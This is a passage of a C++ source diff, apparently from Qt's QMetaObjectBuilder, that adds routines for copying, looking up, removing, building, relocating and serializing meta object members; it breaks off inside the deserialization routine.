+ if ((members & (Methods | Signals | Slots)) != 0) {
+ for (index = prototype->methodOffset(); index < prototype->methodCount(); ++index) {
+ QMetaMethod method = prototype->method(index);
+ if (method.methodType() != QMetaMethod::Signal) {
+ if (method.access() == QMetaMethod::Public && (members & PublicMethods) == 0)
+ continue;
+ if (method.access() == QMetaMethod::Private && (members & PrivateMethods) == 0)
+ continue;
+ if (method.access() == QMetaMethod::Protected && (members & ProtectedMethods) == 0)
+ continue;
+ }
+ if (method.methodType() == QMetaMethod::Method && (members & Methods) != 0) {
+ addMethod(method);
+ } else if (method.methodType() == QMetaMethod::Signal &&
+ (members & Signals) != 0) {
+ addMethod(method);
+ } else if (method.methodType() == QMetaMethod::Slot &&
+ (members & Slots) != 0) {
+ addMethod(method);
+ }
+ }
+ }
+
+ if ((members & Constructors) != 0) {
+ for (index = 0; index < prototype->constructorCount(); ++index)
+ addConstructor(prototype->constructor(index));
+ }
+
+ if ((members & Properties) != 0) {
+ for (index = prototype->propertyOffset(); index < prototype->propertyCount(); ++index)
+ addProperty(prototype->property(index));
+ }
+
+ if ((members & Enumerators) != 0) {
+ for (index = prototype->enumeratorOffset(); index < prototype->enumeratorCount(); ++index)
+ addEnumerator(prototype->enumerator(index));
+ }
+
+ if ((members & ClassInfos) != 0) {
+ for (index = prototype->classInfoOffset(); index < prototype->classInfoCount(); ++index) {
+ QMetaClassInfo ci = prototype->classInfo(index);
+ addClassInfo(ci.name(), ci.value());
+ }
+ }
+
+ if ((members & RelatedMetaObjects) != 0) {
+#ifdef Q_NO_DATA_RELOCATION
+ const QMetaObjectAccessor *objects = 0;
+#else
+ const QMetaObject **objects;
+ if (priv(prototype->d.data)->revision < 2) {
+ objects = (const QMetaObject **)(prototype->d.extradata);
+ } else
+#endif
+ {
+ const QMetaObjectExtraData *extra = (const QMetaObjectExtraData *)(prototype->d.extradata);
+ if (extra)
+ objects = extra->objects;
+ else
+ objects = 0;
+ }
+ if (objects) {
+ while (*objects != 0) {
+ addRelatedMetaObject(*objects);
+ ++objects;
+ }
+ }
+ }
+
+ if ((members & StaticMetacall) != 0) {
+ if (priv(prototype->d.data)->revision >= 6) {
+ const QMetaObjectExtraData *extra =
+ (const QMetaObjectExtraData *)(prototype->d.extradata);
+ if (extra && extra->static_metacall)
+ setStaticMetacallFunction(extra->static_metacall);
+ }
+ }
+}
+
+/*!
+ Returns the method at \a index in this class.
+
+ \sa methodCount(), addMethod(), removeMethod(), indexOfMethod()
+*/
+QMetaMethodBuilder QMetaObjectBuilder::method(int index) const
+{
+ if (index >= 0 && index < d->methods.size())
+ return QMetaMethodBuilder(this, index);
+ else
+ return QMetaMethodBuilder();
+}
+
+/*!
+ Returns the constructor at \a index in this class.
+
+ \sa methodCount(), addMethod(), removeMethod(), indexOfConstructor()
+*/
+QMetaMethodBuilder QMetaObjectBuilder::constructor(int index) const
+{
+ if (index >= 0 && index < d->constructors.size())
+ return QMetaMethodBuilder(this, -(index + 1));
+ else
+ return QMetaMethodBuilder();
+}
+
+/*!
+ Returns the property at \a index in this class.
+
+ \sa methodCount(), addMethod(), removeMethod(), indexOfProperty()
+*/
+QMetaPropertyBuilder QMetaObjectBuilder::property(int index) const
+{
+ if (index >= 0 && index < d->properties.size())
+ return QMetaPropertyBuilder(this, index);
+ else
+ return QMetaPropertyBuilder();
+}
+
+/*!
+ Returns the enumerator at \a index in this class.
+
+ \sa enumeratorCount(), addEnumerator(), removeEnumerator()
+ \sa indexOfEnumerator()
+*/
+QMetaEnumBuilder QMetaObjectBuilder::enumerator(int index) const
+{
+ if (index >= 0 && index < d->enumerators.size())
+ return QMetaEnumBuilder(this, index);
+ else
+ return QMetaEnumBuilder();
+}
+
+/*!
+ Returns the related meta object at \a index in this class.
+
+ Related meta objects are used when resolving the enumerated type
+ associated with a property, where the enumerated type is in a
+ different class from the property.
+
+ \sa relatedMetaObjectCount(), addRelatedMetaObject()
+ \sa removeRelatedMetaObject()
+*/
+const QMetaObject *QMetaObjectBuilder::relatedMetaObject(int index) const
+{
+ if (index >= 0 && index < d->relatedMetaObjects.size())
+#ifdef Q_NO_DATA_RELOCATION
+ return &((*(d->relatedMetaObjects[index]))());
+#else
+ return d->relatedMetaObjects[index];
+#endif
+ else
+ return 0;
+}
+
+/*!
+ Returns the name of the item of class information at \a index
+ in this class.
+
+ \sa classInfoCount(), addClassInfo(), classInfoValue(), removeClassInfo()
+ \sa indexOfClassInfo()
+*/
+QByteArray QMetaObjectBuilder::classInfoName(int index) const
+{
+ if (index >= 0 && index < d->classInfoNames.size())
+ return d->classInfoNames[index];
+ else
+ return QByteArray();
+}
+
+/*!
+ Returns the value of the item of class information at \a index
+ in this class.
+
+ \sa classInfoCount(), addClassInfo(), classInfoName(), removeClassInfo()
+ \sa indexOfClassInfo()
+*/
+QByteArray QMetaObjectBuilder::classInfoValue(int index) const
+{
+ if (index >= 0 && index < d->classInfoValues.size())
+ return d->classInfoValues[index];
+ else
+ return QByteArray();
+}
+
+/*!
+ Removes the method at \a index from this class. The indices of
+ all following methods will be adjusted downwards by 1. If the
+ method is registered as a notify signal on a property, then the
+ notify signal will be removed from the property.
+
+ \sa methodCount(), addMethod(), method(), indexOfMethod()
+*/
+void QMetaObjectBuilder::removeMethod(int index)
+{
+ if (index >= 0 && index < d->methods.size()) {
+ d->methods.removeAt(index);
+ for (int prop = 0; prop < d->properties.size(); ++prop) {
+ // Adjust the indices of property notify signal references.
+ if (d->properties[prop].notifySignal == index) {
+ d->properties[prop].notifySignal = -1;
+ d->properties[prop].setFlag(Notify, false);
+ } else if (d->properties[prop].notifySignal > index)
+ (d->properties[prop].notifySignal)--;
+ }
+ }
+}
+
+/*!
+ Removes the constructor at \a index from this class. The indices of
+ all following constructors will be adjusted downwards by 1.
+
+ \sa constructorCount(), addConstructor(), constructor()
+ \sa indexOfConstructor()
+*/
+void QMetaObjectBuilder::removeConstructor(int index)
+{
+ if (index >= 0 && index < d->constructors.size())
+ d->constructors.removeAt(index);
+}
+
+/*!
+ Removes the property at \a index from this class. The indices of
+ all following properties will be adjusted downwards by 1.
+
+ \sa propertyCount(), addProperty(), property(), indexOfProperty()
+*/
+void QMetaObjectBuilder::removeProperty(int index)
+{
+ if (index >= 0 && index < d->properties.size())
+ d->properties.removeAt(index);
+}
+
+/*!
+ Removes the enumerator at \a index from this class. The indices of
+ all following enumerators will be adjusted downwards by 1.
+
+ \sa enumertorCount(), addEnumerator(), enumerator()
+ \sa indexOfEnumerator()
+*/
+void QMetaObjectBuilder::removeEnumerator(int index)
+{
+ if (index >= 0 && index < d->enumerators.size())
+ d->enumerators.removeAt(index);
+}
+
+/*!
+ Removes the item of class information at \a index from this class.
+ The indices of all following items will be adjusted downwards by 1.
+
+ \sa classInfoCount(), addClassInfo(), classInfoName(), classInfoValue()
+ \sa indexOfClassInfo()
+*/
+void QMetaObjectBuilder::removeClassInfo(int index)
+{
+ if (index >= 0 && index < d->classInfoNames.size()) {
+ d->classInfoNames.removeAt(index);
+ d->classInfoValues.removeAt(index);
+ }
+}
+
+/*!
+ Removes the related meta object at \a index from this class.
+ The indices of all following related meta objects will be adjusted
+ downwards by 1.
+
+ Related meta objects are used when resolving the enumerated type
+ associated with a property, where the enumerated type is in a
+ different class from the property.
+
+ \sa relatedMetaObjectCount(), addRelatedMetaObject()
+ \sa relatedMetaObject()
+*/
+void QMetaObjectBuilder::removeRelatedMetaObject(int index)
+{
+ if (index >= 0 && index < d->relatedMetaObjects.size())
+ d->relatedMetaObjects.removeAt(index);
+}
+
+/*!
+ Finds a method with the specified \a signature and returns its index;
+ otherwise returns -1. The \a signature will be normalized by this method.
+
+ \sa method(), methodCount(), addMethod(), removeMethod()
+*/
+int QMetaObjectBuilder::indexOfMethod(const QByteArray& signature)
+{
+ QByteArray sig = QMetaObject::normalizedSignature(signature);
+ for (int index = 0; index < d->methods.size(); ++index) {
+ if (sig == d->methods[index].signature)
+ return index;
+ }
+ return -1;
+}
+
+/*!
+ Finds a signal with the specified \a signature and returns its index;
+ otherwise returns -1. The \a signature will be normalized by this method.
+
+ \sa indexOfMethod(), indexOfSlot()
+*/
+int QMetaObjectBuilder::indexOfSignal(const QByteArray& signature)
+{
+ QByteArray sig = QMetaObject::normalizedSignature(signature);
+ for (int index = 0; index < d->methods.size(); ++index) {
+ if (sig == d->methods[index].signature &&
+ d->methods[index].methodType() == QMetaMethod::Signal)
+ return index;
+ }
+ return -1;
+}
+
+/*!
+ Finds a slot with the specified \a signature and returns its index;
+ otherwise returns -1. The \a signature will be normalized by this method.
+
+ \sa indexOfMethod(), indexOfSignal()
+*/
+int QMetaObjectBuilder::indexOfSlot(const QByteArray& signature)
+{
+ QByteArray sig = QMetaObject::normalizedSignature(signature);
+ for (int index = 0; index < d->methods.size(); ++index) {
+ if (sig == d->methods[index].signature &&
+ d->methods[index].methodType() == QMetaMethod::Slot)
+ return index;
+ }
+ return -1;
+}
+
+/*!
+ Finds a constructor with the specified \a signature and returns its index;
+ otherwise returns -1. The \a signature will be normalized by this method.
+
+ \sa constructor(), constructorCount(), addConstructor(), removeConstructor()
+*/
+int QMetaObjectBuilder::indexOfConstructor(const QByteArray& signature)
+{
+ QByteArray sig = QMetaObject::normalizedSignature(signature);
+ for (int index = 0; index < d->constructors.size(); ++index) {
+ if (sig == d->constructors[index].signature)
+ return index;
+ }
+ return -1;
+}
+
+/*!
+ Finds a property with the specified \a name and returns its index;
+ otherwise returns -1.
+
+ \sa property(), propertyCount(), addProperty(), removeProperty()
+*/
+int QMetaObjectBuilder::indexOfProperty(const QByteArray& name)
+{
+ for (int index = 0; index < d->properties.size(); ++index) {
+ if (name == d->properties[index].name)
+ return index;
+ }
+ return -1;
+}
+
+/*!
+ Finds an enumerator with the specified \a name and returns its index;
+ otherwise returns -1.
+
+ \sa enumertor(), enumeratorCount(), addEnumerator(), removeEnumerator()
+*/
+int QMetaObjectBuilder::indexOfEnumerator(const QByteArray& name)
+{
+ for (int index = 0; index < d->enumerators.size(); ++index) {
+ if (name == d->enumerators[index].name)
+ return index;
+ }
+ return -1;
+}
+
+/*!
+ Finds an item of class information with the specified \a name and
+ returns its index; otherwise returns -1.
+
+ \sa classInfoName(), classInfoValue(), classInfoCount(), addClassInfo()
+ \sa removeClassInfo()
+*/
+int QMetaObjectBuilder::indexOfClassInfo(const QByteArray& name)
+{
+ for (int index = 0; index < d->classInfoNames.size(); ++index) {
+ if (name == d->classInfoNames[index])
+ return index;
+ }
+ return -1;
+}
+
+// Align on a specific type boundary.
+#define ALIGN(size,type) \
+ (size) = ((size) + sizeof(type) - 1) & ~(sizeof(type) - 1)
+
+// Build a string into a QMetaObject representation. Returns the
+// position in the string table where the string was placed.
+static int buildString
+ (char *buf, char *str, int *offset, const QByteArray& value, int empty)
+{
+ if (value.size() == 0 && empty >= 0)
+ return empty;
+ if (buf) {
+ memcpy(str + *offset, value.constData(), value.size());
+ str[*offset + value.size()] = '\0';
+ }
+ int posn = *offset;
+ *offset += value.size() + 1;
+ return posn;
+}
+
+// Build the parameter array string for a method.
+static QByteArray buildParameterNames
+ (const QByteArray& signature, const QList<QByteArray>& parameterNames)
+{
+ // If the parameter name list is specified, then concatenate them.
+ if (!parameterNames.isEmpty()) {
+ QByteArray names;
+ bool first = true;
+ foreach (const QByteArray &name, parameterNames) {
+ if (first)
+ first = false;
+ else
+ names += (char)',';
+ names += name;
+ }
+ return names;
+ }
+
+ // Count commas in the signature, excluding those inside template arguments.
+ int index = signature.indexOf('(');
+ if (index < 0)
+ return QByteArray();
+ ++index;
+ if (index >= signature.size())
+ return QByteArray();
+ if (signature[index] == ')')
+ return QByteArray();
+ int count = 1;
+ int brackets = 0;
+ while (index < signature.size() && signature[index] != ',') {
+ char ch = signature[index++];
+ if (ch == '<')
+ ++brackets;
+ else if (ch == '>')
+ --brackets;
+ else if (ch == ',' && brackets <= 0)
+ ++count;
+ }
+ return QByteArray(count - 1, ',');
+}
+
+// Build a QMetaObject in "buf" based on the information in "d".
+// If "buf" is null, then return the number of bytes needed to
+// build the QMetaObject. Returns -1 if the metaobject if
+// relocatable is set, but the metaobject contains extradata.
+static int buildMetaObject(QMetaObjectBuilderPrivate *d, char *buf,
+ bool relocatable)
+{
+ int size = 0;
+ int dataIndex;
+ int enumIndex;
+ int index;
+ bool hasNotifySignals = false;
+
+ if (relocatable &&
+ (d->relatedMetaObjects.size() > 0 || d->staticMetacallFunction))
+ return -1;
+
+ // Create the main QMetaObject structure at the start of the buffer.
+ QMetaObject *meta = reinterpret_cast<QMetaObject *>(buf);
+ size += sizeof(QMetaObject);
+ ALIGN(size, int);
+ if (buf) {
+ if (!relocatable) meta->d.superdata = d->superClass;
+ meta->d.extradata = 0;
+ }
+
+ // Populate the QMetaObjectPrivate structure.
+ QMetaObjectPrivate *pmeta
+ = reinterpret_cast<QMetaObjectPrivate *>(buf + size);
+ int pmetaSize = size;
+ dataIndex = 13; // Number of fields in the QMetaObjectPrivate.
+ for (index = 0; index < d->properties.size(); ++index) {
+ if (d->properties[index].notifySignal != -1) {
+ hasNotifySignals = true;
+ break;
+ }
+ }
+ if (buf) {
+ pmeta->revision = 3;
+ pmeta->flags = d->flags;
+ pmeta->className = 0; // Class name is always the first string.
+
+ pmeta->classInfoCount = d->classInfoNames.size();
+ pmeta->classInfoData = dataIndex;
+ dataIndex += 2 * d->classInfoNames.size();
+
+ pmeta->methodCount = d->methods.size();
+ pmeta->methodData = dataIndex;
+ dataIndex += 5 * d->methods.size();
+
+ pmeta->propertyCount = d->properties.size();
+ pmeta->propertyData = dataIndex;
+ dataIndex += 3 * d->properties.size();
+ if (hasNotifySignals)
+ dataIndex += d->properties.size();
+
+ pmeta->enumeratorCount = d->enumerators.size();
+ pmeta->enumeratorData = dataIndex;
+ dataIndex += 4 * d->enumerators.size();
+
+ pmeta->constructorCount = d->constructors.size();
+ pmeta->constructorData = dataIndex;
+ dataIndex += 5 * d->constructors.size();
+ } else {
+ dataIndex += 2 * d->classInfoNames.size();
+ dataIndex += 5 * d->methods.size();
+ dataIndex += 3 * d->properties.size();
+ if (hasNotifySignals)
+ dataIndex += d->properties.size();
+ dataIndex += 4 * d->enumerators.size();
+ dataIndex += 5 * d->constructors.size();
+ }
+
+ // Allocate space for the enumerator key names and values.
+ enumIndex = dataIndex;
+ for (index = 0; index < d->enumerators.size(); ++index) {
+ QMetaEnumBuilderPrivate *enumerator = &(d->enumerators[index]);
+ dataIndex += 2 * enumerator->keys.size();
+ }
+
+ // Zero terminator at the end of the data offset table.
+ ++dataIndex;
+
+ // Find the start of the data and string tables.
+ int *data = reinterpret_cast<int *>(pmeta);
+ size += dataIndex * sizeof(int);
+ char *str = reinterpret_cast<char *>(buf + size);
+ if (buf) {
+ if (relocatable) {
+ meta->d.stringdata = reinterpret_cast<const char *>((quintptr)size);
+ meta->d.data = reinterpret_cast<uint *>((quintptr)pmetaSize);
+ } else {
+ meta->d.stringdata = str;
+ meta->d.data = reinterpret_cast<uint *>(data);
+ }
+ }
+
+ // Reset the current data position to just past the QMetaObjectPrivate.
+ dataIndex = 13;
+
+ // Add the class name to the string table.
+ int offset = 0;
+ buildString(buf, str, &offset, d->className, -1);
+
+ // Add a common empty string, which is used to indicate "void"
+ // method returns, empty tag strings, etc.
+ int empty = buildString(buf, str, &offset, QByteArray(), -1);
+
+ // Output the class infos,
+ for (index = 0; index < d->classInfoNames.size(); ++index) {
+ int name = buildString(buf, str, &offset, d->classInfoNames[index], empty);
+ int value = buildString(buf, str, &offset, d->classInfoValues[index], empty);
+ if (buf) {
+ data[dataIndex] = name;
+ data[dataIndex + 1] = value;
+ }
+ dataIndex += 2;
+ }
+
+ // Output the methods in the class.
+ for (index = 0; index < d->methods.size(); ++index) {
+ QMetaMethodBuilderPrivate *method = &(d->methods[index]);
+ int sig = buildString(buf, str, &offset, method->signature, empty);
+ int params;
+ QByteArray names = buildParameterNames
+ (method->signature, method->parameterNames);
+ params = buildString(buf, str, &offset, names, empty);
+ int ret = buildString(buf, str, &offset, method->returnType, empty);
+ int tag = buildString(buf, str, &offset, method->tag, empty);
+ int attrs = method->attributes;
+ if (buf) {
+ data[dataIndex] = sig;
+ data[dataIndex + 1] = params;
+ data[dataIndex + 2] = ret;
+ data[dataIndex + 3] = tag;
+ data[dataIndex + 4] = attrs;
+ }
+ dataIndex += 5;
+ }
+
+ // Output the properties in the class.
+ for (index = 0; index < d->properties.size(); ++index) {
+ QMetaPropertyBuilderPrivate *prop = &(d->properties[index]);
+ int name = buildString(buf, str, &offset, prop->name, empty);
+ int type = buildString(buf, str, &offset, prop->type, empty);
+ int flags = prop->flags;
+
+ if (!isVariantType(prop->type)) {
+ flags |= EnumOrFlag;
+ } else {
+ flags |= qvariant_nameToType(prop->type) << 24;
+ }
+
+ if (buf) {
+ data[dataIndex] = name;
+ data[dataIndex + 1] = type;
+ data[dataIndex + 2] = flags;
+ }
+ dataIndex += 3;
+ }
+ if (hasNotifySignals) {
+ for (index = 0; index < d->properties.size(); ++index) {
+ QMetaPropertyBuilderPrivate *prop = &(d->properties[index]);
+ if (buf) {
+ if (prop->notifySignal != -1)
+ data[dataIndex] = prop->notifySignal;
+ else
+ data[dataIndex] = 0;
+ }
+ ++dataIndex;
+ }
+ }
+
+ // Output the enumerators in the class.
+ for (index = 0; index < d->enumerators.size(); ++index) {
+ QMetaEnumBuilderPrivate *enumerator = &(d->enumerators[index]);
+ int name = buildString(buf, str, &offset, enumerator->name, empty);
+ int isFlag = (int)(enumerator->isFlag);
+ int count = enumerator->keys.size();
+ int enumOffset = enumIndex;
+ if (buf) {
+ data[dataIndex] = name;
+ data[dataIndex + 1] = isFlag;
+ data[dataIndex + 2] = count;
+ data[dataIndex + 3] = enumOffset;
+ }
+ for (int key = 0; key < count; ++key) {
+ int keyIndex = buildString(buf, str, &offset, enumerator->keys[key], empty);
+ if (buf) {
+ data[enumOffset++] = keyIndex;
+ data[enumOffset++] = enumerator->values[key];
+ }
+ }
+ dataIndex += 4;
+ enumIndex += 2 * count;
+ }
+
+ // Output the constructors in the class.
+ for (index = 0; index < d->constructors.size(); ++index) {
+ QMetaMethodBuilderPrivate *method = &(d->constructors[index]);
+ int sig = buildString(buf, str, &offset, method->signature, empty);
+ int params;
+ QByteArray names = buildParameterNames
+ (method->signature, method->parameterNames);
+ params = buildString(buf, str, &offset, names, empty);
+ int ret = buildString(buf, str, &offset, method->returnType, empty);
+ int tag = buildString(buf, str, &offset, method->tag, empty);
+ int attrs = method->attributes;
+ if (buf) {
+ data[dataIndex] = sig;
+ data[dataIndex + 1] = params;
+ data[dataIndex + 2] = ret;
+ data[dataIndex + 3] = tag;
+ data[dataIndex + 4] = attrs;
+ }
+ dataIndex += 5;
+ }
+
+ // One more empty string to act as a terminator.
+ buildString(buf, str, &offset, QByteArray(), -1);
+ size += offset;
+
+ // Output the zero terminator in the data array.
+ if (buf)
+ data[enumIndex] = 0;
+
+ // Create the extradata block if we need one.
+ if (d->relatedMetaObjects.size() > 0 || d->staticMetacallFunction) {
+ ALIGN(size, QMetaObject **);
+ ALIGN(size, QMetaObjectBuilder::StaticMetacallFunction);
+ QMetaObjectExtraData *extra =
+ reinterpret_cast<QMetaObjectExtraData *>(buf + size);
+ size += sizeof(QMetaObjectExtraData);
+ ALIGN(size, QMetaObject *);
+#ifdef Q_NO_DATA_RELOCATION
+ QMetaObjectAccessor *objects =
+ reinterpret_cast<QMetaObjectAccessor *>(buf + size);
+#else
+ const QMetaObject **objects =
+ reinterpret_cast<const QMetaObject **>(buf + size);
+#endif
+ if (buf) {
+ if (d->relatedMetaObjects.size() > 0) {
+ extra->objects = objects;
+ for (index = 0; index < d->relatedMetaObjects.size(); ++index)
+ objects[index] = d->relatedMetaObjects[index];
+ objects[index] = 0;
+ } else {
+ extra->objects = 0;
+ }
+ extra->static_metacall = d->staticMetacallFunction;
+ meta->d.extradata = reinterpret_cast<void *>(extra);
+ }
+ if (d->relatedMetaObjects.size() > 0)
+ size += sizeof(QMetaObject *) * (d->relatedMetaObjects.size() + 1);
+ }
+
+ // Align the final size and return it.
+ ALIGN(size, void *);
+ return size;
+}
+
+/*!
+ Converts this meta object builder into a concrete QMetaObject.
+ The return value should be deallocated using qFree() once it
+ is no longer needed.
+
+ The returned meta object is a snapshot of the state of the
+ QMetaObjectBuilder. Any further modifications to the QMetaObjectBuilder
+ will not be reflected in previous meta objects returned by
+ this method.
+*/
+QMetaObject *QMetaObjectBuilder::toMetaObject() const
+{
+ int size = buildMetaObject(d, 0, false);
+ char *buf = reinterpret_cast<char *>(qMalloc(size));
+ memset(buf, 0, size);
+ buildMetaObject(d, buf, false);
+ return reinterpret_cast<QMetaObject *>(buf);
+}
+
+/*
+ \internal
+
+ Converts this meta object builder into relocatable data. This data can
+ be stored, copied and later passed to fromRelocatableData() to create a
+ concrete QMetaObject.
+
+ The data is specific to the architecture on which it was created, but is not
+ specific to the process that created it. Not all meta object builder's can
+ be converted to data in this way. If \a ok is provided, it will be set to
+ true if the conversion succeeds, and false otherwise. If a
+ staticMetacallFunction() or any relatedMetaObject()'s are specified the
+ conversion to relocatable data will fail.
+*/
+QByteArray QMetaObjectBuilder::toRelocatableData(bool *ok) const
+{
+ int size = buildMetaObject(d, 0, true);
+ if (size == -1) {
+ if (ok) *ok = false;
+ return QByteArray();
+ }
+
+ QByteArray data;
+ data.resize(size);
+ char *buf = data.data();
+ memset(buf, 0, size);
+ buildMetaObject(d, buf, true);
+ if (ok) *ok = true;
+ return data;
+}
+
+/*
+ \internal
+
+ Sets the \a data returned from toRelocatableData() onto a concrete
+ QMetaObject instance, \a output. As the meta object's super class is not
+ saved in the relocatable data, it must be passed as \a superClass.
+*/
+void QMetaObjectBuilder::fromRelocatableData(QMetaObject *output,
+ const QMetaObject *superclass,
+ const QByteArray &data)
+{
+ if (!output)
+ return;
+
+ const char *buf = data.constData();
+ const QMetaObject *dataMo = reinterpret_cast<const QMetaObject *>(buf);
+
+ quintptr stringdataOffset = (quintptr)dataMo->d.stringdata;
+ quintptr dataOffset = (quintptr)dataMo->d.data;
+
+ output->d.superdata = superclass;
+ output->d.stringdata = buf + stringdataOffset;
+ output->d.data = reinterpret_cast<const uint *>(buf + dataOffset);
+}
+
+/*!
+ \typedef QMetaObjectBuilder::StaticMetacallFunction
+
+ Typedef for static metacall functions. The three parameters are
+ the call type value, the constructor index, and the
+ array of parameters.
+*/
+
+/*!
+ Returns the static metacall function to use to construct objects
+ of this class. The default value is null.
+
+ \sa setStaticMetacallFunction()
+*/
+QMetaObjectBuilder::StaticMetacallFunction QMetaObjectBuilder::staticMetacallFunction() const
+{
+ return d->staticMetacallFunction;
+}
+
+/*!
+ Sets the static metacall function to use to construct objects
+ of this class to \a value. The default value is null.
+
+ \sa staticMetacallFunction()
+*/
+void QMetaObjectBuilder::setStaticMetacallFunction
+ (QMetaObjectBuilder::StaticMetacallFunction value)
+{
+ d->staticMetacallFunction = value;
+}
+
+#ifndef QT_NO_DATASTREAM
+
+/*!
+ Serializes the contents of the meta object builder onto \a stream.
+
+ \sa deserialize()
+*/
+void QMetaObjectBuilder::serialize(QDataStream& stream) const
+{
+ int index;
+
+ // Write the class and super class names.
+ stream << d->className;
+ if (d->superClass)
+ stream << QByteArray(d->superClass->className());
+ else
+ stream << QByteArray();
+
+ // Write the counts for each type of class member.
+ stream << d->classInfoNames.size();
+ stream << d->methods.size();
+ stream << d->properties.size();
+ stream << d->enumerators.size();
+ stream << d->constructors.size();
+ stream << d->relatedMetaObjects.size();
+
+ // Write the items of class information.
+ for (index = 0; index < d->classInfoNames.size(); ++index) {
+ stream << d->classInfoNames[index];
+ stream << d->classInfoValues[index];
+ }
+
+ // Write the methods.
+ for (index = 0; index < d->methods.size(); ++index) {
+ const QMetaMethodBuilderPrivate *method = &(d->methods[index]);
+ stream << method->signature;
+ stream << method->returnType;
+ stream << method->parameterNames;
+ stream << method->tag;
+ stream << method->attributes;
+ }
+
+ // Write the properties.
+ for (index = 0; index < d->properties.size(); ++index) {
+ const QMetaPropertyBuilderPrivate *property = &(d->properties[index]);
+ stream << property->name;
+ stream << property->type;
+ stream << property->flags;
+ stream << property->notifySignal;
+ }
+
+ // Write the enumerators.
+ for (index = 0; index < d->enumerators.size(); ++index) {
+ const QMetaEnumBuilderPrivate *enumerator = &(d->enumerators[index]);
+ stream << enumerator->name;
+ stream << enumerator->isFlag;
+ stream << enumerator->keys;
+ stream << enumerator->values;
+ }
+
+ // Write the constructors.
+ for (index = 0; index < d->constructors.size(); ++index) {
+ const QMetaMethodBuilderPrivate *method = &(d->constructors[index]);
+ stream << method->signature;
+ stream << method->returnType;
+ stream << method->parameterNames;
+ stream << method->tag;
+ stream << method->attributes;
+ }
+
+ // Write the related meta objects.
+#ifdef Q_NO_DATA_RELOCATION
+ //### What do we do here?
+#else
+ for (index = 0; index < d->relatedMetaObjects.size(); ++index) {
+ const QMetaObject *meta = d->relatedMetaObjects[index];
+ stream << QByteArray(meta->className());
+ }
+#endif
+
+ // Add an extra empty QByteArray for additional data in future versions.
+ // This should help maintain backwards compatibility, allowing older
+ // versions to read newer data.
+ stream << QByteArray();
+}
+
+// Resolve a class name using the name reference map.
+static const QMetaObject *resolveClassName
+ (const QMap<QByteArray, const QMetaObject *>& references,
+ const QByteArray& name)
+{
+ if (name == QByteArray("QObject"))
+ return &QObject::staticMetaObject;
+ else
+ return references.value(name, 0);
+}
+
+/*!
+ Deserializes a meta object builder from \a stream into
+ this meta object builder.
+
+ The \a references parameter specifies a mapping from class names
+ to QMetaObject instances for resolving the super class name and
+ related meta objects in the object that is deserialized.
+ The meta object for QObject is implicitly added to \a references
+ and does not need to be supplied.
+
+ The QDataStream::status() value on \a stream will be set to
+ QDataStream::ReadCorruptData if the input data is corrupt.
+ The status will be set to QDataStream::ReadPastEnd if the
+ input was exhausted before the full meta object was read.
+
+ \sa serialize()
+*/
+void QMetaObjectBuilder::deserialize
+ (QDataStream& stream,
+ const QMap<QByteArray, const QMetaObject *>& references)
+{
+ QByteArray name;
+ const QMetaObject *cl;
+ int index;
+
+ // Clear all members in the builder to their default states.
+ d->className.clear();
+ d->superClass = &QObject::staticMetaObject;
+ d->classInfoNames.clear();
+ d->classInfoValues.clear();
+ d->methods.clear();
+ d->properties.clear();
+ d->enumerators.clear();
+ d->constructors.clear();
+ d->relatedMetaObjects.clear();
+ d->staticMetacallFunction = 0;
+
+ // Read the class and super class names.
+ stream >> d->className;
+ stream >> name;
+ if (name.isEmpty()) {
+ d->superClass = 0;
+ } else if ((cl = resolveClassName(references, name)) != 0) {
+ d->superClass = cl;
+ } else {
+ stream.setStatus(QDataStream::ReadCorruptData);
+ return;
+ }
+
+ // Read the counts for each type of class member.
+ int classInfoCount, methodCount, propertyCount;
+ int enumeratorCount, constructorCount, relatedMetaObjectCount;
+ stream >> classInfoCount;
+ stream >> methodCount;
+ stream >> propertyCount;
+ stream >> enumeratorCount;
+ stream >> constructorCount;
+ stream >> relatedMetaObjectCount;
+ if (classInfoCount < 0 || methodCount < 0 ||
+ propertyCount < 0 || enumeratorCount < 0 ||
+ constructorCount < 0 || relatedMetaObjectCount < 0) {
+ stream.setStatus(QDataStream::ReadCorruptData);
+ return;
+ }
+
+ // Read the items of class information.
+ for (index = 0; index < classInfoCount; ++index) {
+ if (stream.status() != QDataStream::Ok)
+ return;
+ QByteArray value;
+ stream >> name;
+ stream >> value;
+ addClassInfo(name, value);
+ }
+
+ // Read the member methods.
+ for (index = 0; index < methodCount; ++index) {
+ if (stream.status() != QDataStream::Ok)
+ return;
+ stream >> name;
+ addMethod(name);
+ QMetaMethodBuilderPrivate *method = &(d->methods[index]);
+ stream >> method->returnType;
+ stream >> method->parameterNames;
+ stream >> method->tag;
+ stream >> method->attributes;
+ if (method->methodType() == QMetaMethod::Constructor) {
+ // Cannot add a constructor in this set of methods.
+ stream.setStatus(QDataStream::ReadCorruptData);
+ return;
+ }
+ }
+
+ // Read the properties.
+ for (index = 0; index < propertyCount; ++index) {
+ if (stream.status() != QDataStream::Ok)
+ return;
+ QByteArray type;
+ stream >> name;
+ stream >> type;
+ addProperty(name, type);
+ QMetaPropertyBuilderPrivate *property = &(d->properties[index]);
+ stream >> property->flags;
+ stream >> property->notifySignal;
+ if (property->notifySignal < -1 ||
+ property->notifySignal >= d->methods.size()) {
+ // Notify signal method index is out of range.
+ stream.setStatus(QDataStream::ReadCorruptData);
+ return;
+ }
+ if (property->notifySignal >= 0 &&
+ d->methods[property->notifySignal].methodType() != QMetaMethod::Signal) {
+ // Notify signal method index does not refer to a signal.
+ stream.setStatus(QDataStream::ReadCorruptData);
+ return;
+ }
+ }
+
+ // Read the enumerators.
+ for (index = 0; index < enumeratorCount; ++index) {
+ if (stream.status() != QDataStream::Ok)
+ return;
+ stream >> name;
+ addEnumerator(name);
+ QMetaEnumBuilderPrivate *enumerator = &(d->enumerators[index]);
+ stream >> enumerator->isFlag;
+ stream >> enumerator->keys;
+ stream >> enumerator->values;
+ if (enumerator->keys.size() != enumerator->values.size()) {
+ // Mismatch between number of keys and number of values.
+ stream.setStatus(QDataStream::ReadCorruptData);
+ return;
+ }
+ }
+
+ // Read the constructor methods.
+ for (index = 0; index < constructorCount; ++index) {
+ if (stream.status() != QDataStream::Ok)
+ return;
+ stream >> name;
+ addConstructor(name);
+ QMetaMethodBuilderPrivate *method = &(d->constructors[index]);
+ stream >> method->returnType;
+ stream >> method->parameterNames;
+ stream >> method->tag;
+ stream >> method->attributes;
+ if (method->methodType() != QMetaMethod::Constructor) {
+ // The type must be Constructor.
+ stream.setStatus(QDataStream::ReadCorruptData);
+ return;
+ }
+ }
+
+ // Read the related meta objects.
+#ifdef Q_NO_DATA_RELOCATION
